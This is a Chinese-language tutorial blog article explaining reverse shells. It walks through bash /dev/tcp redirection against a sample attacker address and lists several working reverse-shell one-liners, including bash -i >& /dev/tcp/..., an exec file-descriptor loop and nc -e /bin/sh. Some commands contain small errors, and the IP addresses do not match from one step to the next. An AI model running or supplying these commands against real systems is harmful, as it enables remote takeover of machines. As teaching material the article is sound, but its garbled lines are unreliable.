您好,登錄后才能下訂單哦!
小編給大家分享一下反彈shell是什么意思,相信大部分人都還不怎么了解,因此分享這篇文章給大家參考一下,希望大家閱讀完這篇文章后大有收獲,下面讓我們一起去了解一下吧!
*嚴正聲明:本文僅限于技術討論與分享,嚴禁用于非法途徑。
反彈shell
,就是控制端監聽在某TCP/UDP
端口,被控端發起請求到該端口,并將其命令行的輸入輸出轉到控制端。
通俗點說,反彈shell
就是一種反向鏈接,與正向的ssh
等不同,它是在對方電腦執行命令連接到我方的攻擊模式,并且這種攻擊模式必須搭配遠程執行命令漏洞來使用。
為什么要反彈shell
? 通常用于被控端因防火墻受限、權限不足、端口被占用等情形。
假設我們攻擊了一臺機器,打開了該機器的一個端口,攻擊者在自己的機器去連接目標機器,這是比較常規的形式,我們叫做正向連接。遠程桌面,web
服務,ssh
,telnet
等等,都是正向連接。
那么什么情況下正向連接不太好用了呢:
1.某客戶機中了你的網馬,但是它在局域網內,你直接連接不了。
2.它的
ip
會動態改變,你不能持續控制。3.由于防火墻等限制,對方機器只能發送請求,不能接收請求。
4.對于病毒,木馬,受害者什么時候能中招,對方的網絡環境是什么樣的,什么時候開關機,都是未知,所以建立一個服務端,讓惡意程序主動連接,才是上策。
那么反彈就很好理解了, 攻擊者指定服務端,受害者主機主動連接攻擊者的服務端程序,就叫反彈shell
。
我們用bash
遠程代碼執行漏洞實例來了解一下他的原理
攻擊端:10.100.40.5 受害機:192.168.197.136?
首先我們需要在攻擊端去監聽端口,通過這個端口來接收受害機反彈的shell
在攻擊端輸入命令nc -l 2333
然后在受害機執行命令
bash -i >& /dev/tcp/10.100.40.5/2333 0>&1
我們就發現,在我們的攻擊端已經成功出現了我們的受害端的shell
,在我們的攻擊端就能對受害端來進行下一步操作
例如:
(1)bash -i
bash
是linux
的一個比較常見的shell
,是許多Linux
發行版的默認Shell
。-i
這個參數的意思是產生交互式的shell
(2)./dev/tcp/ip/port
/dev/tcp|udp/ip/port
這個文件是特別特殊的,實際上可以將其看成一個設備(Linux
下一切皆文件),其實如果你訪問這個文件的位置他是不存在的,如下圖:
(3) 但是如果你在一方監聽端口的情況下對這個文件進行讀寫,就能實現與監聽端口的服務器的socket
通信
我們輸出字符到/dev/tcp
這個文件中
受害端:
攻擊端:
(4) 下面我們在看將輸出轉移到到受害端,在攻擊端繼續監聽2333
端口,并且在攻擊端輸入內容回車就會出現在受害端。
(5)這樣思路就比較清晰了,下面再說交互重定向:
為了實現交互,我們需要把受害者交互式shell
的輸出重定向到攻擊機上;
在受害者機器上輸入:
bash -i > /dev/tcp 10.100.40.5/2333
然后我們發現無論輸入什么指令都不會有回顯,回顯出現在了攻擊端標準輸出被定向到了攻擊端。
這樣只是回顯而已,并沒有辦法在攻擊端直接執行命令。
(6)所以我們還需要將攻擊者輸入的指令輸入給受害者的bash
:
bash -i < /dev/tcp/10.100.40.5/2333
這樣就會做到在攻擊端輸入命令,回顯到受害端:
(7)最重要的在與怎么將兩個操作結合起來,實現在攻擊端輸入攻擊端輸出,我們需要將輸出輸入都綁定到/dev/tcp
這個文件下。
命令:
bash -i > /dev/tcp/10.100.40.5/2333 0>&1
受害端:
攻擊端:
我們發現完全實現了我們的需求,在攻擊端執行命令,并且回顯,這個命令,做到了輸入0是由/dev/tcp/192.168.146.129/2333
輸入的,也就是攻擊機的輸入,命令執行的結果1,會輸出到/dev/tcp/192.168.156.129/2333
上,這就形成了一個回路,實現了我們遠程交互式shell
的功能。
我們發現還是有一個小問題,我們可以看到,雖然命令執行結果在攻擊端回顯,但是受害端依然是有命令回顯的,
所以我們需要解決這個問題
命令 :
bash -i > /dev/tcp/10.100.40.5/2333 0>&1 2>&1
這樣命令就不會回顯到受害端了。
就算是錯誤輸出也會輸出到攻擊端,這樣就達到了我們的目的。
(1) 方法一
bash -i>& /dev/tcp/10.100.40.5/2333 0<&1 bash -i>& /dev/tcp/10.100.40.5/2333 0<&1
這兩個幾乎是一樣的唯一的區別是0>&1
和0<&1
,其實就是打開方式的不同,而對于這個文件描述符來講并沒有什么區別。
(2) 方法二
bash -i >& /dev/tcp/10.100.40.5/2333 <&2 bash -i >& /dev/tcp/10.100.40.5/2333 0<&2
(3) 方法三
exec 5<>/dev/tcp/192.168.146.129/2333;cat <&5|while read line;do $line >&5 2>&1;done 0<&196;exec 196<>/dev/tcp/attackerip/4444; sh <&196 >&196 2>&196
(4) 方法四
nc -e /bin/sh 10.100.40.5 2333
以上是“反彈shell是什么意思”這篇文章的所有內容,感謝各位的閱讀!相信大家都有了一定的了解,希望分享的內容對大家有所幫助,如果還想學習更多知識,歡迎關注億速云行業資訊頻道!
免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。